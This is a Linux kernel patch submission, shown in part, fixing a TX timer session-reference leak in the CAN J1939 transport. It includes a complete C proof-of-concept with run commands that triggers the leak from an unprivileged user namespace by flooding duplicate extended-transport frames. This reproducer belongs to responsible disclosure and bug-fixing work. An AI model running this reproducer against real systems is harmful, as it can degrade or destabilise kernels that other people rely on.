[PATCH net v5 0/3] can: j1939: fix TX timer reference leak

[PATCH net v5 0/3] can: j1939: fix TX timer reference leak

[Zihan Xi]

Hi Linux kernel maintainers,

We found a session-reference leak in net/can/j1939/transport.c.
The issue is reachable by a user who can create user and network namespaces
and send CAN frames to a J1939 receiver. The relevant details are below.

---- details below ----

An LLM was used to help create this patch.

This bug is tracked at: https://bugtracker.nebusec.ai/f/11143 (11143)

Bug details:

Rearming an active TX hrtimer changes its expiry without creating a second
queued timer, but taking another session reference on each restart leaks
references. Patch 1 keeps one reference for the timer's complete queued and
running lifetime, reusing it across re-arms and dropping it only when no
queued successor remains. Patch 2 cancels the TX timer after RX timeout
moves the session into abort handling. Patch 3 serializes session frame
transmission with terminal state changes, closes the send gate before
terminal timer drains, and enters WAITING_ABORT before arming the abort RX
timeout outside the session-list lock.

The baseline PoC completed with POC_EXIT=0 and reproduced the timer-restart
condition shown in the trace below. It did not crash. We also built the final
v5 kernel with KASAN and lockdep enabled and ran a QEMU/vxcan duplicate-RTS
BUSY-ABORT test-only harness with:

    poc-duplicate-rts-confirm vxcan0 vxcan1 32768 128 4 1

It exercised 128 sequential 32 KiB ETP sessions, one duplicate RTS and one
expected BUSY_ABORT per session, followed by an external ABORT. The harness observed BUSY_ABORT for all 128 sessions. After a further
15-second timer drain, the captured dmesg had no KASAN, refcount, lockdep,
oops, or panic report.
Observed output excerpt:

    BUSY_ABORT_SEEN pgn=0x1f100 remote_sa=0x81
    BUSY_ABORT_SEEN pgn=0x1f17f remote_sa=0x83
    completed 128 sessions

The full final v5 kernel build and J1939 transport object build completed
successfully. The extra BUSY-ABORT harness is test-only validation; the
baseline PoC below remains the reproducer included with this report. No crash
was observed, so no crash log is available.

Raw baseline trace excerpt (the second start updated an already armed timer):

             poc-389     [001] d.s2.   200.601390: hrtimer_start: hrtimer=ffffa3da4a2bc4b8 function=j1939_tp_txtimer expires=200464843123 softexpires=200464843123 mode=REL|SOFT was_armed=0
             poc-390     [000] d.s2.   200.601400: hrtimer_start: hrtimer=ffffa3da4a2bc4b8 function=j1939_tp_txtimer expires=200464853253 softexpires=200464853253 mode=REL|SOFT was_armed=1

Changes in v5:
- Replace separate queued-timer and callback reference flags with one
  reference covering the complete TX timer lifetime.
- Close the TX send gate before terminal timer drains; suppress callback
  cancellation and its ABORT response if terminal shutdown wins.
- Enter WAITING_ABORT first, then arm the abort RX timeout outside the
  session-list lock to avoid waiting for an RX timer callback under that lock.
- Keep the RX-timeout cancellation and session TX/state serialization in
  separate patches.

Link: https://lore.kernel.org/all/cover.1793371075.git.zihanx@nebusec.ai/

Reproducer:

The trigger uses raw CAN frames over namespace-local vxcan peers and a
concurrent duplicate-frame burst; packetdrill does not model this
CAN/J1939 device topology.

Compile the reproducer with:

    gcc -O2 -Wall -Wextra -Werror -pthread -static -o poc poc.c

Run it as an unprivileged account with user/network namespace support:

    unshare -Urn sh -c 'ip link add vxcan0 type vxcan peer name vxcan1 && ip link set vxcan0 up && ip link set vxcan1 up && ./poc vxcan0 vxcan1 2097152 4 32 4096 1'

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment. The PoC creates
four 2 MiB ETP sessions and concurrently sends duplicate terminal DATA
packets over a vxcan pair.

------BEGIN PoC------
#define _GNU_SOURCE

#include <errno.h>
#include <linux/can.h>
#include <linux/can/j1939.h>
#include <linux/can/raw.h>
#include <net/if.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#ifndef SYS_sendmmsg
#define SYS_sendmmsg 307
#endif

#define LOCAL_SA 0x80
#define REMOTE_SA_BASE 0x81
#define APP_PGN_BASE 0x01f100

#define J1939_ETP_PGN_CTL 0x00c800
#define J1939_ETP_PGN_DAT 0x00c700

#define J1939_ETP_CMD_ABORT 0xff
#define J1939_ETP_CMD_CTS 0x15
#define J1939_ETP_CMD_DPO 0x16
#define J1939_ETP_CMD_RTS 0x14

#define DEFAULT_SIZE (1024U * 1024U)
#define DEFAULT_DUPLICATES 256U
#define DEFAULT_SESSIONS 4096U
#define DEFAULT_THREADS 8U
#define FIRST_BLOCK_PKTS 255U

struct params {
	const char *tx_ifname;
	const char *rx_ifname;
	uint32_t session_size;
	uint32_t sessions;
	uint32_t threads;
	uint32_t duplicates;
	bool verbose;
};

struct can_burst {
	struct can_frame *frames;
	struct mmsghdr *msgs;
	struct iovec *iovecs;
	unsigned int nframes;
};

struct worker_ctx {
	int fd;
	int cpu;
	struct can_burst burst;
};

static pthread_barrier_t start_barrier;
static pthread_barrier_t done_barrier;
static volatile sig_atomic_t stop_workers;

static void die(const char *what);

static int sendmmsg_compat(int fd, struct mmsghdr *msgvec, unsigned int vlen,
			   unsigned int flags)
{
	return syscall(SYS_sendmmsg, fd, msgvec, vlen, flags);
}

static unsigned int sendmmsg_all(int fd, struct mmsghdr *msgvec,
				 unsigned int vlen, const char *what)
{
	unsigned int sent = 0;

	while (sent < vlen) {
		int ret = sendmmsg_compat(fd, &msgvec[sent], vlen - sent, 0);

		if (ret < 0)
			die(what);
		if (!ret) {
			errno = EIO;
			die(what);
		}
		sent += ret;
	}

	return sent;
}

static void die(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void barrier_wait_or_die(pthread_barrier_t *barrier, const char *what)
{
	int ret = pthread_barrier_wait(barrier);

	if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) {
		errno = ret;
		die(what);
	}
}

static unsigned int parse_u32(const char *arg, const char *what)
{
	char *endp;
	unsigned long value;

	errno = 0;
	value = strtoul(arg, &endp, 0);
	if (errno || *endp || value > UINT32_MAX) {
		fprintf(stderr, "invalid %s: %s\n", what, arg);
		exit(EXIT_FAILURE);
	}

	return (unsigned int)value;
}

static void pin_to_cpu(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (pthread_setaffinity_np(pthread_self(), sizeof(set), &set))
		perror("pthread_setaffinity_np");
}

static canid_t make_can_id(uint8_t prio, uint32_t pgn, uint8_t sa, uint8_t da)
{
	canid_t can_id;

	can_id = CAN_EFF_FLAG | ((canid_t)prio << 26) | ((canid_t)pgn << 8) | sa;
	if (((pgn >> 8) & 0xff) < 240)
		can_id |= (canid_t)da << 8;

	return can_id;
}

static int ifindex_by_name(const char *ifname)
{
	unsigned int ifindex = if_nametoindex(ifname);

	if (!ifindex) {
		errno = ENODEV;
		die("if_nametoindex");
	}

	return (int)ifindex;
}

static int make_raw_socket(int ifindex)
{
	struct sockaddr_can addr = {
		.can_family = AF_CAN,
		.can_ifindex = ifindex,
	};
	int fd;
	int one = 1;

	fd = socket(PF_CAN, SOCK_RAW, CAN_RAW);
	if (fd < 0)
		die("socket(CAN_RAW)");

	if (setsockopt(fd, SOL_CAN_RAW, CAN_RAW_RECV_OWN_MSGS, &one,
		       sizeof(one)) < 0)
		die("setsockopt(CAN_RAW_RECV_OWN_MSGS)");

	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("bind(CAN_RAW)");

	return fd;
}

static int make_j1939_listener(int ifindex)
{
	struct sockaddr_can addr = {
		.can_family = AF_CAN,
		.can_ifindex = ifindex,
		.can_addr.j1939 = {
			.name = 0,
			.pgn = J1939_NO_PGN,
			.addr = LOCAL_SA,
		},
	};
	int fd;

	fd = socket(PF_CAN, SOCK_DGRAM, CAN_J1939);
	if (fd < 0)
		die("socket(CAN_J1939)");

	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("bind(CAN_J1939)");

	return fd;
}

static void send_frame(int fd, const struct can_frame *frame)
{
	ssize_t written = write(fd, frame, sizeof(*frame));

	if (written != (ssize_t)sizeof(*frame))
		die("write(can_frame)");
}

static void build_etp_rts(struct can_frame *frame, uint8_t sa, uint8_t da,
			  uint32_t size, uint32_t app_pgn)
{
	memset(frame, 0, sizeof(*frame));
	frame->can_id = make_can_id(6, J1939_ETP_PGN_CTL, sa, da);
	frame->len = 8;
	frame->data[0] = J1939_ETP_CMD_RTS;
	frame->data[1] = (size >> 0) & 0xff;
	frame->data[2] = (size >> 8) & 0xff;
	frame->data[3] = (size >> 16) & 0xff;
	frame->data[4] = (size >> 24) & 0xff;
	frame->data[5] = (app_pgn >> 0) & 0xff;
	frame->data[6] = (app_pgn >> 8) & 0xff;
	frame->data[7] = (app_pgn >> 16) & 0xff;
}

static void build_etp_dpo(struct can_frame *frame, uint8_t sa, uint8_t da,
			  uint32_t app_pgn)
{
	memset(frame, 0, sizeof(*frame));
	frame->can_id = make_can_id(6, J1939_ETP_PGN_CTL, sa, da);
	frame->len = 8;
	frame->data[0] = J1939_ETP_CMD_DPO;
	frame->data[1] = FIRST_BLOCK_PKTS;
	frame->data[2] = 0;
	frame->data[3] = 0;
	frame->data[4] = 0;
	frame->data[5] = (app_pgn >> 0) & 0xff;
	frame->data[6] = (app_pgn >> 8) & 0xff;
	frame->data[7] = (app_pgn >> 16) & 0xff;
}

static void build_etp_abort(struct can_frame *frame, uint8_t sa, uint8_t da,
			    uint32_t app_pgn)
{
	memset(frame, 0, sizeof(*frame));
	frame->can_id = make_can_id(6, J1939_ETP_PGN_CTL, sa, da);
	frame->len = 8;
	frame->data[0] = J1939_ETP_CMD_ABORT;
	frame->data[1] = 1;
	frame->data[2] = 0xff;
	frame->data[3] = 0xff;
	frame->data[4] = 0xff;
	frame->data[5] = (app_pgn >> 0) & 0xff;
	frame->data[6] = (app_pgn >> 8) & 0xff;
	frame->data[7] = (app_pgn >> 16) & 0xff;
}

static void build_etp_terminal_data(struct can_frame *frame, uint8_t remote_sa)
{
	memset(frame, 0, sizeof(*frame));
	frame->can_id = make_can_id(6, J1939_ETP_PGN_DAT, remote_sa, LOCAL_SA);
	frame->len = 8;
	frame->data[0] = FIRST_BLOCK_PKTS;
	memset(&frame->data[1], 'Z', 7);
}

static void free_burst(struct can_burst *burst)
{
	free(burst->iovecs);
	free(burst->msgs);
	free(burst->frames);
	memset(burst, 0, sizeof(*burst));
}

static void drain_raw_rx(int fd)
{
	struct pollfd pfd = {
		.fd = fd,
		.events = POLLIN,
	};

	for (;;) {
		struct can_frame frame;
		int ret = poll(&pfd, 1, 0);

		if (ret <= 0)
			return;

		if (read(fd, &frame, sizeof(frame)) < 0) {
			if (errno == EAGAIN || errno == EWOULDBLOCK)
				return;
			die("read(raw drain)");
		}
	}
}

static bool match_ctl_cmd(const struct can_frame *frame, uint8_t sa, uint8_t da,
			  uint32_t pgn, uint8_t cmd)
{
	uint32_t frame_pgn;
	uint8_t frame_sa;
	uint8_t frame_da = J1939_NO_ADDR;

	if (!(frame->can_id & CAN_EFF_FLAG))
		return false;

	frame_sa = frame->can_id & 0xff;
	frame_pgn = (frame->can_id >> 8) & J1939_PGN_MAX;
	if (((frame_pgn >> 8) & 0xff) < 240) {
		frame_da = frame_pgn & 0xff;
		frame_pgn &= J1939_PGN_PDU1_MAX;
	}

	return frame_sa == sa && frame_da == da &&
	       frame_pgn == pgn && frame->len >= 1 &&
	       frame->data[0] == cmd;
}

static bool wait_for_cts(int raw_fd, uint8_t remote_sa, uint32_t app_pgn,
			 bool verbose)
{
	struct pollfd pfd = {
		.fd = raw_fd,
		.events = POLLIN,
	};
	struct timespec start;

	if (clock_gettime(CLOCK_MONOTONIC, &start) < 0)
		die("clock_gettime");

	for (;;) {
		struct can_frame frame;
		struct timespec now;
		int elapsed_ms;
		int timeout_ms;
		int ret;

		if (clock_gettime(CLOCK_MONOTONIC, &now) < 0)
			die("clock_gettime");

		elapsed_ms = (int)((now.tv_sec - start.tv_sec) * 1000 +
				   (now.tv_nsec - start.tv_nsec) / 1000000);
		timeout_ms = 1000 - elapsed_ms;
		if (timeout_ms <= 0)
			return false;

		ret = poll(&pfd, 1, timeout_ms);
		if (ret < 0)
			die("poll(raw)");
		if (ret == 0)
			return false;

		if (!(pfd.revents & POLLIN))
			continue;

		if (read(raw_fd, &frame, sizeof(frame)) < 0)
			die("read(raw)");

		if (match_ctl_cmd(&frame, LOCAL_SA, remote_sa, J1939_ETP_PGN_CTL,
				  J1939_ETP_CMD_CTS)) {
			if (verbose) {
				printf("saw initial CTS for pgn=0x%05x remote_sa=0x%02x\n",
				       app_pgn, remote_sa);
				fflush(stdout);
			}
			return true;
		}
	}
}

static void init_burst(struct can_burst *burst, unsigned int nframes)
{
	memset(burst, 0, sizeof(*burst));
	burst->nframes = nframes;
	burst->frames = calloc(nframes, sizeof(*burst->frames));
	burst->msgs = calloc(nframes, sizeof(*burst->msgs));
	burst->iovecs = calloc(nframes, sizeof(*burst->iovecs));
	if (!burst->frames || !burst->msgs || !burst->iovecs)
		die("calloc(burst)");
}

static void finalize_burst(struct can_burst *burst)
{
	unsigned int i;

	for (i = 0; i < burst->nframes; i++) {
		burst->iovecs[i].iov_base = &burst->frames[i];
		burst->iovecs[i].iov_len = sizeof(burst->frames[i]);
		burst->msgs[i].msg_hdr.msg_iov = &burst->iovecs[i];
		burst->msgs[i].msg_hdr.msg_iovlen = 1;
	}
}

static void build_prefix_burst(struct can_burst *burst, uint8_t remote_sa,
			       uint32_t app_pgn)
{
	unsigned int i;

	init_burst(burst, FIRST_BLOCK_PKTS);
	build_etp_dpo(&burst->frames[0], remote_sa, LOCAL_SA, app_pgn);

	for (i = 1; i < FIRST_BLOCK_PKTS; i++) {
		memset(&burst->frames[i], 0, sizeof(burst->frames[i]));
		burst->frames[i].can_id = make_can_id(6, J1939_ETP_PGN_DAT,
						      remote_sa, LOCAL_SA);
		burst->frames[i].len = 8;
		burst->frames[i].data[0] = i;
		memset(&burst->frames[i].data[1], 'A' + (i % 26), 7);
	}

	finalize_burst(burst);
}

static void build_terminal_burst(struct can_burst *burst, uint8_t remote_sa,
				 unsigned int duplicates)
{
	unsigned int i;

	free_burst(burst);
	init_burst(burst, duplicates);

	for (i = 0; i < duplicates; i++)
		build_etp_terminal_data(&burst->frames[i], remote_sa);

	finalize_burst(burst);
}

static void *worker_main(void *arg)
{
	struct worker_ctx *ctx = arg;

	pin_to_cpu(ctx->cpu);

	for (;;) {
		barrier_wait_or_die(&start_barrier, "pthread_barrier_wait(start)");
		if (stop_workers)
			break;

		sendmmsg_all(ctx->fd, ctx->burst.msgs, ctx->burst.nframes,
			     "sendmmsg(worker)");

		barrier_wait_or_die(&done_barrier, "pthread_barrier_wait(done)");
	}

	return NULL;
}

static void init_workers(struct worker_ctx *workers, pthread_t *tids,
			 int ifindex, unsigned int threads, int ncpus)
{
	unsigned int i;

	if (pthread_barrier_init(&start_barrier, NULL, threads + 1))
		die("pthread_barrier_init(start)");
	if (pthread_barrier_init(&done_barrier, NULL, threads + 1))
		die("pthread_barrier_init(done)");

	for (i = 0; i < threads; i++) {
		workers[i].fd = make_raw_socket(ifindex);
		workers[i].cpu = i % ncpus;
		if (pthread_create(&tids[i], NULL, worker_main, &workers[i]))
			die("pthread_create");
	}
}

static void join_workers(struct worker_ctx *workers, pthread_t *tids,
			 unsigned int threads)
{
	unsigned int i;

	stop_workers = 1;
	barrier_wait_or_die(&start_barrier, "pthread_barrier_wait(stop)");

	for (i = 0; i < threads; i++) {
		if (pthread_join(tids[i], NULL))
			die("pthread_join");
		free_burst(&workers[i].burst);
		close(workers[i].fd);
	}

	pthread_barrier_destroy(&start_barrier);
	pthread_barrier_destroy(&done_barrier);
}

static void run_session(int raw_fd, struct worker_ctx *workers,
			uint32_t size, uint32_t threads, uint32_t duplicates,
			uint32_t session_idx, bool verbose)
{
	struct can_frame rts;
	struct can_frame abort;
	struct can_burst prefix = { 0 };
	uint8_t remote_sa;
	uint32_t app_pgn;
	unsigned int i;
	unsigned int sa_span = J1939_MAX_UNICAST_ADDR - REMOTE_SA_BASE + 1;

	remote_sa = REMOTE_SA_BASE + (session_idx % sa_span);
	app_pgn = APP_PGN_BASE + (session_idx % 0x100);

	build_etp_rts(&rts, remote_sa, LOCAL_SA, size, app_pgn);
	send_frame(raw_fd, &rts);

	if (!wait_for_cts(raw_fd, remote_sa, app_pgn, verbose)) {
		fprintf(stderr,
			"timed out waiting for initial CTS: session=%u remote_sa=0x%02x pgn=0x%05x size=%u\n",
			session_idx, remote_sa, app_pgn, size);
		exit(EXIT_FAILURE);
	}

	build_prefix_burst(&prefix, remote_sa, app_pgn);
	/* Ensure the receiver processes DPO before the data packet burst. */
	send_frame(raw_fd, &prefix.frames[0]);
	usleep(1000);
	sendmmsg_all(raw_fd, &prefix.msgs[1], prefix.nframes - 1,
		     "sendmmsg(prefix)");
	free_burst(&prefix);

	for (i = 0; i < threads; i++)
		build_terminal_burst(&workers[i].burst, remote_sa, duplicates);

	barrier_wait_or_die(&start_barrier, "pthread_barrier_wait(start-main)");
	barrier_wait_or_die(&done_barrier, "pthread_barrier_wait(done-main)");

	build_etp_abort(&abort, remote_sa, LOCAL_SA, app_pgn);
	send_frame(raw_fd, &abort);
}

static void usage(const char *prog)
{
	fprintf(stderr,
		"usage: %s [tx_ifname] [rx_ifname] [size] [sessions] [threads] [duplicates_per_thread] [verbose]\n",
		prog);
	exit(EXIT_FAILURE);
}

int main(int argc, char **argv)
{
	struct params params = {
		.tx_ifname = "vcan0",
		.rx_ifname = "vcan0",
		.session_size = DEFAULT_SIZE,
		.sessions = DEFAULT_SESSIONS,
		.threads = DEFAULT_THREADS,
		.duplicates = DEFAULT_DUPLICATES,
		.verbose = false,
	};
	struct worker_ctx *workers;
	pthread_t *tids;
	int ifindex;
	int rx_ifindex;
	int raw_fd;
	int j1939_fd;
	int ncpus;
	unsigned int i;

	if (argc > 8)
		usage(argv[0]);

	if (argc >= 2)
		params.tx_ifname = argv[1];
	if (argc >= 3)
		params.rx_ifname = argv[2];
	if (argc >= 4)
		params.session_size = parse_u32(argv[3], "size");
	if (argc >= 5)
		params.sessions = parse_u32(argv[4], "sessions");
	if (argc >= 6)
		params.threads = parse_u32(argv[5], "threads");
	if (argc >= 7)
		params.duplicates = parse_u32(argv[6], "duplicates");
	if (argc >= 8)
		params.verbose = parse_u32(argv[7], "verbose") != 0;

	if (params.session_size <= 1785) {
		fprintf(stderr, "size must be > 1785 to force ETP\n");
		return EXIT_FAILURE;
	}
	if (!params.sessions || !params.threads || !params.duplicates)
		usage(argv[0]);

	ncpus = sysconf(_SC_NPROCESSORS_ONLN);
	if (ncpus < 1)
		die("sysconf(_SC_NPROCESSORS_ONLN)");

	workers = calloc(params.threads, sizeof(*workers));
	tids = calloc(params.threads, sizeof(*tids));
	if (!workers || !tids)
		die("calloc(workers)");

	ifindex = ifindex_by_name(params.tx_ifname);
	rx_ifindex = ifindex_by_name(params.rx_ifname);
	j1939_fd = make_j1939_listener(rx_ifindex);
	raw_fd = make_raw_socket(ifindex);
	init_workers(workers, tids, ifindex, params.threads, ncpus);

	printf("tx_if=%s(%d) rx_if=%s(%d) size=%u sessions=%u threads=%u duplicates_per_thread=%u\n",
	       params.tx_ifname, ifindex, params.rx_ifname, rx_ifindex,
	       params.session_size, params.sessions, params.threads,
	       params.duplicates);
	fflush(stdout);

	for (i = 0; i < params.sessions; i++) {
		drain_raw_rx(raw_fd);
		run_session(raw_fd, workers, params.session_size, params.threads,
			    params.duplicates, i, params.verbose);
		if ((i + 1) % 16 == 0 || params.verbose) {
			printf("completed %u sessions\n", i + 1);
			fflush(stdout);
		}
	}

	join_workers(workers, tids, params.threads);
	close(raw_fd);
	close(j1939_fd);
	free(tids);
	free(workers);

	return 0;
}
------END PoC--------

Best regards,
Zihan Xi

Zihan Xi (3):
  can: j1939: fix TX timer reference accounting
  can: j1939: cancel TX timer after RX timeout
  can: j1939: serialize session TX with state changes

 net/can/j1939/j1939-priv.h |   9 ++
 net/can/j1939/transport.c  | 257 +++++++++++++++++++++++++++++++++----
 2 files changed, 238 insertions(+), 28 deletions(-)

-- 
2.43.0

[PATCH net v5 1/3] can: j1939: fix TX timer reference accounting

[Zihan Xi]

Keep one session reference across the complete queued and running lifetime
of the TX timer. Re-arming an active timer reuses this pin; cancellation
or callback completion drops it only after no successor remains queued.

Fixes: 9d71dd0c7009 ("can: add support of SAE J1939 protocol")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Link: https://bugtracker.nebusec.ai/f/11143
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
 net/can/j1939/j1939-priv.h |   6 ++
 net/can/j1939/transport.c  | 152 +++++++++++++++++++++++++++++++++++--
 2 files changed, 150 insertions(+), 8 deletions(-)

diff --git a/net/can/j1939/j1939-priv.h b/net/can/j1939/j1939-priv.h
index cf26352d1d8c..c95fca38b8b1 100644
--- a/net/can/j1939/j1939-priv.h
+++ b/net/can/j1939/j1939-priv.h
@@ -10,6 +10,7 @@
 #define _J1939_PRIV_H_
 
 #include <linux/can/j1939.h>
+#include <linux/spinlock.h>
 #include <net/sock.h>
 
 /* Timeout to receive the abort signal over loop back. In case CAN
@@ -290,6 +291,11 @@ struct j1939_session {
 		unsigned int dpo;
 	} pkt;
 	struct hrtimer txtimer, rxtimer;
+	unsigned int txtimer_cancelers; /* block starts while a cancel waits */
+	spinlock_t txtimer_lock;
+	/* One reference pins the complete queued/running timer lifetime. */
+	bool txtimer_shutdown;
+	bool txtimer_ref;
 };
 
 struct j1939_sock {
diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
index 8fcfd13e5e6f..4958f7c47ca4 100644
--- a/net/can/j1939/transport.c
+++ b/net/can/j1939/transport.c
@@ -301,9 +301,78 @@ void j1939_session_put(struct j1939_session *session)
 	kref_put(&session->kref, __j1939_session_release);
 }
 
-static void j1939_session_txtimer_cancel(struct j1939_session *session)
+static void j1939_session_txtimer_cancel(struct j1939_session *session,
+					 bool shutdown)
 {
-	if (hrtimer_cancel(&session->txtimer))
+	bool put_ref = false;
+	int ret;
+
+	spin_lock_bh(&session->txtimer_lock);
+	session->txtimer_cancelers++;
+	if (shutdown)
+		session->txtimer_shutdown = true;
+	ret = hrtimer_try_to_cancel(&session->txtimer);
+	if (ret == 1) {
+		if (!WARN_ON_ONCE(!session->txtimer_ref)) {
+			session->txtimer_ref = false;
+			put_ref = true;
+		}
+	}
+	spin_unlock_bh(&session->txtimer_lock);
+
+	/* Never wait for a softirq callback while holding txtimer_lock. */
+	if (ret < 0) {
+		ret = hrtimer_cancel(&session->txtimer);
+		if (ret == 1) {
+			spin_lock_bh(&session->txtimer_lock);
+			if (!WARN_ON_ONCE(!session->txtimer_ref)) {
+				session->txtimer_ref = false;
+				put_ref = true;
+			}
+			spin_unlock_bh(&session->txtimer_lock);
+		}
+	}
+	spin_lock_bh(&session->txtimer_lock);
+	if (WARN_ON_ONCE(!session->txtimer_cancelers))
+		session->txtimer_cancelers = 0;
+	else
+		session->txtimer_cancelers--;
+	spin_unlock_bh(&session->txtimer_lock);
+
+	if (put_ref)
+		j1939_session_put(session);
+}
+
+static bool
+j1939_session_txtimer_cancel_async_locked(struct j1939_session *session)
+{
+	int ret;
+
+	lockdep_assert_held(&session->txtimer_lock);
+	session->txtimer_shutdown = true;
+	ret = hrtimer_try_to_cancel(&session->txtimer);
+	/* Let a queued successor finish promptly after callback exit. */
+	if (ret < 0 && session->txtimer_ref &&
+	    hrtimer_is_queued(&session->txtimer))
+		hrtimer_start(&session->txtimer, 0, HRTIMER_MODE_REL_SOFT);
+	if (ret != 1)
+		return false;
+
+	if (WARN_ON_ONCE(!session->txtimer_ref))
+		return false;
+	session->txtimer_ref = false;
+	return true;
+}
+
+static void j1939_session_txtimer_cancel_async(struct j1939_session *session)
+{
+	bool put_ref;
+
+	spin_lock_bh(&session->txtimer_lock);
+	put_ref = j1939_session_txtimer_cancel_async_locked(session);
+	spin_unlock_bh(&session->txtimer_lock);
+
+	if (put_ref)
 		j1939_session_put(session);
 }
 
@@ -315,7 +384,7 @@ static void j1939_session_rxtimer_cancel(struct j1939_session *session)
 
 void j1939_session_timers_cancel(struct j1939_session *session)
 {
-	j1939_session_txtimer_cancel(session);
+	j1939_session_txtimer_cancel(session, true);
 	j1939_session_rxtimer_cancel(session);
 }
 
@@ -716,9 +785,29 @@ static int j1939_xtp_tx_abort(struct j1939_priv *priv,
 
 void j1939_tp_schedule_txtimer(struct j1939_session *session, int msec)
 {
-	j1939_session_get(session);
+	j1939_session_list_lock(session->priv);
+	if (session->state != J1939_SESSION_ACTIVE) {
+		j1939_session_list_unlock(session->priv);
+		return;
+	}
+
+	spin_lock(&session->txtimer_lock);
+	if (session->txtimer_cancelers || session->txtimer_shutdown) {
+		spin_unlock(&session->txtimer_lock);
+		j1939_session_list_unlock(session->priv);
+		return;
+	}
+
+	/* One pin covers an armed timer and any callback/successor overlap. */
+	if (!session->txtimer_ref) {
+		j1939_session_get(session);
+		session->txtimer_ref = true;
+	}
+
 	hrtimer_start(&session->txtimer, ms_to_ktime(msec),
 		      HRTIMER_MODE_REL_SOFT);
+	spin_unlock(&session->txtimer_lock);
+	j1939_session_list_unlock(session->priv);
 }
 
 static inline void j1939_tp_set_rxtimeout(struct j1939_session *session,
@@ -1105,6 +1194,9 @@ static bool j1939_session_deactivate_locked(struct j1939_session *session)
 	bool active = false;
 
 	lockdep_assert_held(&session->priv->active_session_list_lock);
+	spin_lock(&session->txtimer_lock);
+	session->txtimer_shutdown = true;
+	spin_unlock(&session->txtimer_lock);
 
 	if (session->state >= J1939_SESSION_ACTIVE &&
 	    session->state < J1939_SESSION_ACTIVE_MAX) {
@@ -1126,6 +1218,8 @@ static bool j1939_session_deactivate(struct j1939_session *session)
 	j1939_session_list_lock(priv);
 	active = j1939_session_deactivate_locked(session);
 	j1939_session_list_unlock(priv);
+	if (active)
+		j1939_session_txtimer_cancel_async(session);
 
 	return active;
 }
@@ -1161,15 +1255,23 @@ static void __j1939_session_cancel(struct j1939_session *session,
 static void j1939_session_cancel(struct j1939_session *session,
 				 enum j1939_xtp_abort err)
 {
+	bool cancelled = false;
+
 	j1939_session_list_lock(session->priv);
 
 	if (session->state >= J1939_SESSION_ACTIVE &&
 	    session->state < J1939_SESSION_WAITING_ABORT) {
 		j1939_tp_set_rxtimeout(session, J1939_XTP_ABORT_TIMEOUT_MS);
 		__j1939_session_cancel(session, err);
+		spin_lock(&session->txtimer_lock);
+		session->txtimer_shutdown = true;
+		spin_unlock(&session->txtimer_lock);
+		cancelled = true;
 	}
 
 	j1939_session_list_unlock(session->priv);
+	if (cancelled)
+		j1939_session_txtimer_cancel_async(session);
 
 	if (!session->sk)
 		j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
@@ -1180,8 +1282,21 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
 	struct j1939_session *session =
 		container_of(hrtimer, struct j1939_session, txtimer);
 	struct j1939_priv *priv = session->priv;
+	bool can_rearm, shutdown, queued;
+	bool put_ref = false;
 	int ret = 0;
 
+	spin_lock_bh(&session->txtimer_lock);
+	WARN_ON_ONCE(!session->txtimer_ref);
+	shutdown = session->txtimer_shutdown;
+	spin_unlock_bh(&session->txtimer_lock);
+
+	j1939_session_list_lock(priv);
+	can_rearm = session->state == J1939_SESSION_ACTIVE;
+	j1939_session_list_unlock(priv);
+	if (shutdown || !can_rearm)
+		goto txtimer_done;
+
 	if (session->skcb.addr.type == J1939_SIMPLE) {
 		ret = j1939_simple_txnext(session);
 	} else {
@@ -1232,7 +1347,22 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
 		}
 	}
 
-	j1939_session_put(session);
+txtimer_done:
+	j1939_session_list_lock(priv);
+	can_rearm = session->state == J1939_SESSION_ACTIVE;
+	j1939_session_list_unlock(priv);
+	spin_lock_bh(&session->txtimer_lock);
+	queued = hrtimer_is_queued(&session->txtimer);
+	if (queued && (session->txtimer_shutdown || !can_rearm))
+		hrtimer_start(&session->txtimer, 0, HRTIMER_MODE_REL_SOFT);
+	if (!queued && session->txtimer_ref) {
+		session->txtimer_ref = false;
+		put_ref = true;
+	}
+	spin_unlock_bh(&session->txtimer_lock);
+
+	if (put_ref)
+		j1939_session_put(session);
 
 	return HRTIMER_NORESTART;
 }
@@ -1486,7 +1616,7 @@ j1939_xtp_rx_cts_one(struct j1939_session *session, struct sk_buff *skb)
 			if (session->pkt.tx_acked)
 				j1939_sk_errqueue(session,
 						  J1939_ERRQUEUE_TX_SCHED);
-			j1939_session_txtimer_cancel(session);
+			j1939_session_txtimer_cancel(session, false);
 			j1939_tp_schedule_txtimer(session, 0);
 		}
 	} else {
@@ -1540,6 +1670,7 @@ static struct j1939_session *j1939_session_new(struct j1939_priv *priv,
 	skcb = j1939_skb_to_cb(skb);
 	memcpy(&session->skcb, skcb, sizeof(session->skcb));
 
+	spin_lock_init(&session->txtimer_lock);
 	hrtimer_setup(&session->txtimer, j1939_tp_txtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
 	hrtimer_setup(&session->rxtimer, j1939_tp_rxtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
 
@@ -1810,7 +1941,7 @@ static void j1939_xtp_rx_rts(struct j1939_priv *priv, struct sk_buff *skb,
 			j1939_tp_set_rxtimeout(session, 750);
 	} else {
 		if (!session->transmission) {
-			j1939_session_txtimer_cancel(session);
+			j1939_session_txtimer_cancel(session, false);
 			j1939_tp_schedule_txtimer(session, 0);
 		}
 		j1939_tp_set_rxtimeout(session, 1250);
@@ -2242,7 +2373,12 @@ int j1939_cancel_active_session(struct j1939_priv *priv, struct sock *sk)
 				 &priv->active_session_list,
 				 active_session_list_entry) {
 		if (!sk || sk == session->sk) {
